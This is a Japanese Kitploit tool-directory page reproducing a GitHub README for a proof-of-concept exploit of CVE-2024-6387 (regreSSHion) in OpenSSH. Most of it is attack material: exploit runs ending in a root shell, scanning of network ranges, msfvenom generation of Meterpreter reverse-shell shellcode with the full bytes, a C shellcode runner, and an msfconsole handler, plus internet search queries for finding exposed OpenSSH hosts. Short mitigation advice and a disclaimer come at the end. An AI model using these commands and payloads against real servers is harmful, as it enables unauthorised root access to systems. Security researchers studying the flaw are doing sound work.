Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6387 — CVE-2024-6387 (regreSSHion) の概念実証エクスプロイト。シグナルハンドラの競合状態を利用して、OpenSSH サーバーで認証なしのリモートコード実行を狙います。スキャン、エクスプロイト、リバースシェル生成を含みます。 | Kitploit
ツール/GitHubGitHub/prelearn-code/cve-2024-6387
脆弱性分析エクスプロイトシェルコードペネトレーションテストコマンド&コントロールリモートアクセスツールペイロード開発
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

CVE-2024-6387 (regreSSHion) の概念実証エクスプロイト。シグナルハンドラの競合状態を利用して、OpenSSH サーバーで認証なしのリモートコード実行を狙います。スキャン、エクスプロイト、リバースシェル生成を含みます。

リポジトリを見る
232年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

転載元

openssh CVE-2024-6387 - PoC

📜 説明

注意: このスクリプトは迅速なプロトタイプ PoC であり、エラーやバグが発生する可能性があります。 テスト環境: Kali Linux, ParrotSec, Ubuntu 22.04

OpenSSH サーバーにおけるリモート非認証コード実行の脆弱性

OpenSSH のサーバー (sshd) において、クライアントが LoginGraceTime 秒(デフォルト120秒、古い OpenSSH バージョンでは600秒)以内に認証を行わない場合、sshd の SIGALRM ハンドラーが非同期に呼び出されます。しかし、このシグナルハンドラーは syslog() など、非同期シグナルセーフではない関数を呼び出します。

📁 目次

  • 📖 詳細
  • ⚙️ 使用方法
  • 🔍 ホスト発見
  • 🛠️ 緩和策
  • 💁 参考文献
  • 📌 著者
  • 📢 免責事項
  • ✍🏻 詳細

    技術的な詳細はこちらを参照してください。

    この欠陥は、2024年5月にQualysの研究者によって発見され、CVE-2024-6387の識別子が割り当てられました。これは、sshd のシグナルハンドラの競合状態により、認証されていないリモート攻撃者が root として任意のコードを実行できるというものです。

    「クライアントが LoginGraceTime 秒(デフォルト120秒)以内に認証を行わない場合、sshd の SIGALRM ハンドラーが非同期に呼び出され、async-signal-safe ではないさまざまな関数を呼び出します。」

    「リモートの認証されていない攻撃者は、この欠陥を利用して root 権限で任意のコードを実行できます。」

    ⚙️ 使用方法

    OpenSSH サーバーのスキャン

    必要条件: python3 最新版

    root@kitploit:~
    $ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
    
     ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
    ██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
    ██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
    ██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
    ╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
     ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
       Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
        
    Exploiting vulnerabilities...
    Attempting exploitation with glibc base: 0xb7200000
    Attempt 0 of 20000
    Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
    Received KEX_INIT (1024 bytes)
    send_packet: Resource temporarily unavailable
    send_packet: Resource temporarily unavailable
    send_packet: Resource temporarily unavailable
    send_packet: Resource temporarily unavailable
    .....
    Exploitation successful..!
    
    ~# whoami && id
    root
    uid=0(root) gid=0(root) groups=0(root) 
    

    エクスポート (csv, txt, json)

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
    

    複数ターゲット

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
    

    タイムアウトの追加

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
    

    ネットワーク範囲

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
    

    カスタムポート

    root@kitploit:~
    $ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
    

    権限昇格プロセス

    リバースシェルの取得

    root@kitploit:~
    # Generating a shellcode 
    $ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 130 bytes
    Final size of c file: 574 bytes
    
    unsigned char buf[] =
    "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
    "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
    "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
    "\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
    "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
    "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
    "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
    "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
    "\x78\xed\xff\xe6";
    

    カスタムペイロード

    root@kitploit:~
    #include <stdio.h>
    
    // A placeholder of your custom payload 
    const char shellcode[] =
    "\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
    "\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
    "\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
    "\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
    "\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
    "\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
    "\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
    "\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
    "\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
    "\x78\xed\xff\xe6";
    
    int main() {
        // Execute shellcode
        printf("Executing shellcode...\n");
        void (*sc)() = (void(*)())shellcode;
        sc();
    
        return 0;
    }
    
    

    実際のペイロード

    root@kitploit:~
    #include <stdio.h>
     
    
    #define MAX_PACKET_SIZE (256 * 1024)
    #define LOGIN_GRACE_TIME 120
    #define MAX_STARTUPS 100
    #define CHUNK_ALIGN(s) (((s) + 15) & ~15)
    
    // Possible glibc base addresses (for ASLR bypass)
    uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
    int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
    
    // Shellcode placeholder (replace with actual shellcode)
    unsigned char shellcode[] = "\x90\x90\x90\x90";
    

    ペイロードのコンパイルと実行

    root@kitploit:~
    # compiling payload
    $ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 
    

    ペイロードの実行

    root@kitploit:~
    # Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
    $ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 
    

    ペイロードのキャッチ

    root@kitploit:~
    msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
    

    🔍 ホスト発見

    • Hunter: /product.name="OpenSSH"
    • FOFA: app="OpenSSH"
    • SHODAN: product:"OpenSSH"
    • CENSYS: (openssh) and labels=remote-access

    🛠️ 緩和策

    • パッチ管理: 利用可能なパッチを迅速に適用することは、脆弱性のギャップを埋めるために重要です。タイムリーなパッチ適用により、既知のエクスプロイトがシステムに対して悪用されるのを防ぎ、攻撃者の機会を減らします。

    • アクセス制御の強化: ネットワークベースの制御を通じてSSHアクセスを制限することで、防御層を追加します。このアプローチは、SSH接続を許可されたネットワークまたはIPアドレスのみに制限することで、潜在的な攻撃者への露出を最小限に抑えます。ファイアウォールルールやVPNを使用したセキュアなアクセスなどのツールを実装することで、これらの制限を効果的に適用できます。

    • ネットワークセグメンテーション: ネットワークをセグメントに分割することで、潜在的な侵害の影響を封じ込めるのに役立ちます。重要なシステムと機密データをネットワークの重要でない部分から分離することで、攻撃者による横方向の移動のリスクを低減します。このセグメンテーションは、厳格なアクセス制御と監視を組み合わせることで、これらのセグメントへの不正な侵入試行を検出し対応できます。

    • 侵入検知システム (IDS): IDSまたは侵入防止システム (IPS) を導入することで、ネットワークトラフィックとシステムログのリアルタイム監視が可能になります。これらのシステムは、regreSSHionの脆弱性に関連する不審なアクティビティや潜在的な悪用試行を検出できます。これらのシステムによってトリガーされるアラートにより、重大な損害が発生する前に迅速な調査と緩和が可能になります。

    • 悪用試行の監視: ネットワークとシステムログの継続的な監視が重要です。OpenSSHの脆弱性を悪用しようとする試みを示す可能性のある異常なパターンやアクティビティがないかを探します。この積極的なアプローチは、脅威が害を引き起こす前に特定し対応するのに役立ちます。

    💁 参考文献

    • 原作者: CVE-2024-6387 Scanner
    • 原作者: CVE-2024-6387 PoC

    その他の参考資料

    • http://www.openwall.com/lists/oss-security/2024/07/01/12
    • https://access.redhat.com/security/cve/CVE-2024-6387
    • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
    • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
    • https://github.com/zgzhang/cve-2024-6387-poc
    • https://ubuntu.com/security/CVE-2024-6387
    • https://ubuntu.com/security/notices/USN-6859-1
    • https://www.suse.com/security/cve/CVE-2024-6387.html
    • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
    • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
    • https://www.openssh.com/txt/release-9.8
    • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
    • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
    • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
    • https://www.theregister.com/2024/07/01/regresshion_openssh/
    • https://news.ycombinator.com/item?id=40843778
    • https://security-tracker.debian.org/tracker/CVE-2024-6387
    • https://github.com/oracle/oracle-linux/issues/149
    • https://github.com/rapier1/hpn-ssh/issues/87
    • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
    • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
    • http://www.openwall.com/lists/oss-security/2024/07/01/13
    • https://security.netapp.com/advisory/ntap-20240701-0001/

    📌 著者

    • Facebook
    • Twitter (X)
    • Medium
    • Website

    📢 免責事項

    • 重要な注意:
      • このツールは、許可されたペネトレーションテストおよびレッドチーム演習のみを目的として開発および使用されます。OpenSSH サーバー(glibcベースのLinuxシステム上)の脆弱性を特定および悪用するために設計されています。このツールの不正使用は固く禁じられています。このツールの所有者は、不正アクセスや悪意のある使用について一切の責任を負いません。
    • 法的注意事項:
      • それぞれの所有者からの明示的な許可なしにシステムやネットワーク上でこのツールを不正使用すると、該当する法律や規制に違反する可能性があります。ユーザーは、サイバーセキュリティのテストおよび評価を管理する法的および倫理的基準への準拠を確保する責任があります。
    ツールをダウンロード